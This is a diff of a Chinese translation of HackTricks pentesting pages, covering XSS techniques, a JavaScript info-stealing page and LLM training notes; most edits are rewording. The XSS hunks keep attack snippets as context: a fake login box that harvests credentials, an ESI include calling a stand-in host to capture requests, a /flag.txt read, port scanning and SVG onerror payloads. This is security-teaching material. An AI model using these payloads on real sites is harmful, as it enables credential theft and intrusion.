在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`,`//x:1/`,`ws://`,`wss://`,_空Location头_,`resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
|
@ -837,7 +837,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本,因为其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中常量**`kSupportedJavascriptTypes`**内的类型。
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是来自[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中的常量**`kSupportedJavascriptTypes`**。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Script Types to XSS
|
||||
|
||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本呢?
|
||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -990,7 +990,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* 间接访问 `require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050),模块在 Node.js 中被包装在一个函数内,如下所示:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -1043,7 +1043,7 @@ trigger()
|
|||
```
|
||||
### 混淆与高级绕过
|
||||
|
||||
* **一个页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **一个页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1196,11 +1196,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_Short times indicate a responding port_ _Longer times indicate no response._
|
||||
_短时间表示端口响应_ _较长时间表示没有响应。_
|
||||
|
||||
查看 Chrome 中禁止的端口列表 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) 和 Firefox 中的 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
||||
查看Chrome中禁止的端口列表 [**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) 和Firefox中 [**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
||||
|
||||
### Box to ask for credentials
|
||||
### 请求凭据的框
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
@ -1309,7 +1309,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### Regex - 访问隐藏内容
|
||||
|
||||
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值在 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,REGEX 的输入在正则表达式的输入值被移除后仍然可以找到:
|
||||
从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,REGEX 的输入在正则表达式的输入值被移除后仍然可以找到:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1340,7 +1340,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS 到 SSRF
|
||||
|
||||
在一个 **使用缓存** 的网站上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
||||
在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用这个有效载荷:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1349,7 +1349,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### 动态创建 PDF 中的 XSS
|
||||
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** **执行任意 JS 代码**。\
|
||||
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -1364,13 +1364,13 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### Amp4Email 中的 XSS
|
||||
|
||||
AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP 组件](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
||||
|
||||
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### 上传文件 (svg) 中的 XSS
|
||||
### 上传文件中的 XSS (svg)
|
||||
|
||||
将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
@ -1428,7 +1428,7 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
找到 **更多 SVG payloads 在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## 其他 JS 技巧与相关信息
|
||||
|
||||
|
@ -1444,7 +1444,7 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -1459,8 +1459,8 @@ id="foo"/>
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
# Steal Info JS
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -13,8 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```javascript
|
||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||
|
@ -123,21 +123,19 @@ window.onmessage = function(e){
|
|||
exfil_info("onmessage", encode(e.data))
|
||||
}
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## 预训练
|
||||
|
||||
预训练是开发大型语言模型(LLM)的基础阶段,在此阶段,模型接触到大量多样的文本数据。在此阶段,**LLM 学习语言的基本结构、模式和细微差别**,包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据,模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后,这个预训练模型可以进行微调,进一步在专业数据集上进行训练,以适应其在特定任务或领域的能力,从而提高其在目标应用中的性能和相关性。
|
||||
预训练是开发大型语言模型(LLM)的基础阶段,在此阶段,模型接触到大量多样的文本数据。在此阶段,**LLM 学习语言的基本结构、模式和细微差别**,包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据,模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后,这个预训练的模型可以进行微调,进一步在专业数据集上进行训练,以适应其在特定任务或领域的能力,从而提高其在目标应用中的性能和相关性。
|
||||
|
||||
## 主要 LLM 组件
|
||||
|
||||
|
@ -30,7 +30,7 @@ GPT_CONFIG_124M = {
|
|||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
在 PyTorch 中,**tensor** 是一种基本数据结构,作为多维数组,推广了标量、向量和矩阵等概念到更高的维度。张量是数据在 PyTorch 中表示和操作的主要方式,特别是在深度学习和神经网络的背景下。
|
||||
在 PyTorch 中,**tensor** 是一种基本数据结构,作为多维数组,推广了标量、向量和矩阵等概念到更高的维度。张量是 PyTorch 中数据表示和操作的主要方式,特别是在深度学习和神经网络的背景下。
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
|
@ -47,7 +47,7 @@ GPT_CONFIG_124M = {
|
|||
|
||||
虽然 PyTorch 张量在存储和操作数值数据的能力上与 NumPy 数组相似,但它们提供了深度学习所需的额外功能:
|
||||
|
||||
* **Automatic Differentiation**: PyTorch 张量支持自动计算梯度(autograd),简化了计算训练神经网络所需的导数的过程。
|
||||
* **Automatic Differentiation**: PyTorch 张量支持自动计算梯度(autograd),简化了计算训练神经网络所需导数的过程。
|
||||
* **GPU Acceleration**: PyTorch 中的张量可以移动到 GPU 上进行计算,显著加快大规模计算的速度。
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
@ -70,7 +70,7 @@ tensor2d = torch.tensor([[1, 2],
|
|||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### 张量数据类型
|
||||
### Tensor 数据类型
|
||||
|
||||
PyTorch 张量可以存储各种类型的数据,例如整数和浮点数。 
|
||||
|
||||
|
@ -89,7 +89,7 @@ print(float_tensor.dtype) # Output: torch.float32
|
|||
```
|
||||
### 常见的张量操作
|
||||
|
||||
PyTorch 提供了多种操作来处理张量:
|
||||
PyTorch 提供了多种操作来操作张量:
|
||||
|
||||
* **访问形状**:使用 `.shape` 获取张量的维度。
|
||||
|
||||
|
@ -101,7 +101,7 @@ print(tensor2d.shape) # 输出: torch.Size([2, 2])
|
|||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
* **转置张量**:使用 `.T` 转置 2D 张量。
|
||||
* **转置张量**:使用 `.T` 转置一个 2D 张量。
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
|
@ -117,12 +117,12 @@ result = tensor2d @ tensor2d.T
|
|||
张量在 PyTorch 中对于构建和训练神经网络至关重要:
|
||||
|
||||
* 它们存储输入数据、权重和偏差。
|
||||
* 它们促进训练算法中前向和后向传播所需的操作。
|
||||
* 通过 autograd,张量能够自动计算梯度,从而简化优化过程。
|
||||
* 它们促进训练算法中前向和后向传递所需的操作。
|
||||
* 通过 autograd,张量使得梯度的自动计算成为可能,从而简化了优化过程。
|
||||
|
||||
## 自动微分
|
||||
|
||||
自动微分(AD)是一种计算技术,用于高效准确地 **评估函数的导数(梯度)**。在神经网络的上下文中,AD 使得计算 **优化算法(如梯度下降)** 所需的梯度成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎,简化了这一过程。
|
||||
自动微分(AD)是一种计算技术,用于**高效且准确地评估函数的导数(梯度)**。在神经网络的上下文中,AD 使得计算**优化算法如梯度下降**所需的梯度成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎,简化了这个过程。
|
||||
|
||||
### 自动微分的数学解释
|
||||
|
||||
|
@ -130,9 +130,9 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
自动微分的核心是微积分中的 **链式法则**。链式法则指出,如果你有一个函数的复合,复合函数的导数是组成函数导数的乘积。
|
||||
|
||||
在数学上,如果 `y=f(u)` 且 `u=g(x)`,那么 `y` 关于 `x` 的导数为:
|
||||
在数学上,如果 `y=f(u)` 且 `u=g(x)`,那么 `y` 对 `x` 的导数为:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. 计算图**
|
||||
|
||||
|
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
让我们考虑一个简单的函数:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
其中:
|
||||
|
||||
|
@ -150,15 +150,15 @@ result = tensor2d @ tensor2d.T
|
|||
* `y=1.0` 是目标标签。
|
||||
* `L` 是损失。
|
||||
|
||||
我们想要计算损失 `L` 关于权重 `w` 和偏差 `b` 的梯度。
|
||||
我们想要计算损失 `L` 对权重 `w` 和偏差 `b` 的梯度。
|
||||
|
||||
**4. 手动计算梯度**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. 数值计算**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 在 PyTorch 中实现自动微分
|
||||
|
||||
|
@ -214,7 +214,7 @@ Gradient w.r.t b: tensor([-0.0817])
|
|||
|
||||
考虑一个具有一个隐藏层的简单神经网络:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. PyTorch Implementation**
|
||||
|
||||
|
|
|
@ -1,17 +1,17 @@
|
|||
# 4. 注意机制
|
||||
|
||||
## 注意机制和神经网络中的自注意力
|
||||
## 神经网络中的注意机制和自注意力
|
||||
|
||||
注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重,帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要,因为理解整个句子的上下文对于准确翻译是必要的。
|
||||
|
||||
{% hint style="success" %}
|
||||
这一第四阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\
|
||||
这一阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\
|
||||
为此使用了很多层,因此将有很多可训练的参数来捕捉这些信息。
|
||||
{% endhint %}
|
||||
|
||||
### 理解注意机制
|
||||
|
||||
在传统的序列到序列模型中用于语言翻译,模型将输入序列编码为固定大小的上下文向量。然而,这种方法在处理长句子时会遇到困难,因为固定大小的上下文向量可能无法捕捉所有必要的信息。注意机制通过允许模型在生成每个输出标记时考虑所有输入标记来解决这一限制。
|
||||
在传统的序列到序列模型中,模型将输入序列编码为固定大小的上下文向量。然而,这种方法在处理长句子时会遇到困难,因为固定大小的上下文向量可能无法捕捉所有必要的信息。注意机制通过允许模型在生成每个输出标记时考虑所有输入标记来解决这一限制。
|
||||
|
||||
#### 示例:机器翻译
|
||||
|
||||
|
@ -19,7 +19,7 @@
|
|||
|
||||
### 自注意力介绍
|
||||
|
||||
自注意力,或称为内部注意力,是一种机制,其中注意力在单个序列内应用,以计算该序列的表示。它允许序列中的每个标记关注所有其他标记,帮助模型捕捉标记之间的依赖关系,而不管它们在序列中的距离。
|
||||
自注意力或内部注意力是一种机制,其中注意力在单个序列内应用,以计算该序列的表示。它允许序列中的每个标记关注所有其他标记,帮助模型捕捉标记之间的依赖关系,而不管它们在序列中的距离。
|
||||
|
||||
#### 关键概念
|
||||
|
||||
|
@ -40,22 +40,22 @@
|
|||
#### 步骤1:计算注意分数
|
||||
|
||||
{% hint style="success" %}
|
||||
只需将查询的每个维度值与每个标记的相关维度相乘并加上结果。你将为每对标记获得1个值。
|
||||
只需将查询的每个维度值与每个标记的相关维度相乘并加上结果。你会得到每对标记的1个值。
|
||||
{% endhint %}
|
||||
|
||||
对于句子中的每个单词,通过计算它们嵌入的点积来计算与“shiny”的**注意分数**。
|
||||
|
||||
**“Hello”和“shiny”之间的注意分数**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**“shiny”和“shiny”之间的注意分数**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**“sun”和“shiny”之间的注意分数**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### 步骤2:归一化注意分数以获得注意权重
|
||||
|
||||
|
@ -67,19 +67,19 @@
|
|||
|
||||
将**softmax函数**应用于注意分数,将其转换为总和为1的注意权重。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
计算指数:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
计算总和:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
计算注意权重:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### 步骤3:计算上下文向量
|
||||
|
||||
|
@ -95,13 +95,13 @@
|
|||
|
||||
* **“Hello”的加权嵌入**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **“shiny”的加权嵌入**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **“sun”的加权嵌入**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加权嵌入求和:
|
||||
|
||||
|
@ -119,7 +119,7 @@
|
|||
|
||||
在实践中,自注意力机制使用**可训练权重**来学习查询、键和值的最佳表示。这涉及引入三个权重矩阵:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
查询是像以前一样使用的数据,而键和值矩阵只是随机可训练的矩阵。
|
||||
|
||||
|
@ -159,7 +159,7 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
**计算注意力分数**
|
||||
|
||||
与之前的示例类似,但这次我们使用的是令牌的键矩阵(已经使用维度计算得出),而不是令牌的维度值。因此,对于每个查询 `qi` 和键 `kj`:
|
||||
与之前的例子类似,但这次我们使用的是令牌的键矩阵(已经使用维度计算得出),而不是令牌的维度值。因此,对于每个查询 `qi` 和键 `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -173,19 +173,19 @@ values = torch.matmul(inputs, W_value)
|
|||
分数除以维度的平方根是因为点积可能变得非常大,这有助于调节它们。
|
||||
{% endhint %}
|
||||
|
||||
**应用Softmax以获得注意力权重:** 如最初示例中所示,归一化所有值,使其总和为1。 
|
||||
**应用Softmax以获得注意力权重:** 与最初的例子一样,规范化所有值,使它们的总和为1。 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: 计算上下文向量
|
||||
|
||||
如最初示例中所示,只需将所有值矩阵相加,每个值乘以其注意力权重:
|
||||
与最初的例子一样,只需将所有值矩阵相加,每个值乘以其注意力权重:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### 代码示例
|
||||
|
||||
从 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) 获取一个示例,您可以查看这个实现我们所讨论的自注意力功能的类:
|
||||
从 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) 获取一个示例,您可以查看这个实现我们讨论的自注意力功能的类:
|
||||
```python
|
||||
import torch
|
||||
|
||||
|
@ -225,7 +225,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
|
|||
print(sa_v2(inputs))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
注意,`nn.Linear`用于将所有权重标记为可训练参数,而不是用随机值初始化矩阵。
|
||||
注意,`nn.Linear`用于将所有权重标记为训练参数,而不是用随机值初始化矩阵。
|
||||
{% endhint %}
|
||||
|
||||
## 因果注意力:隐藏未来词汇
|
||||
|
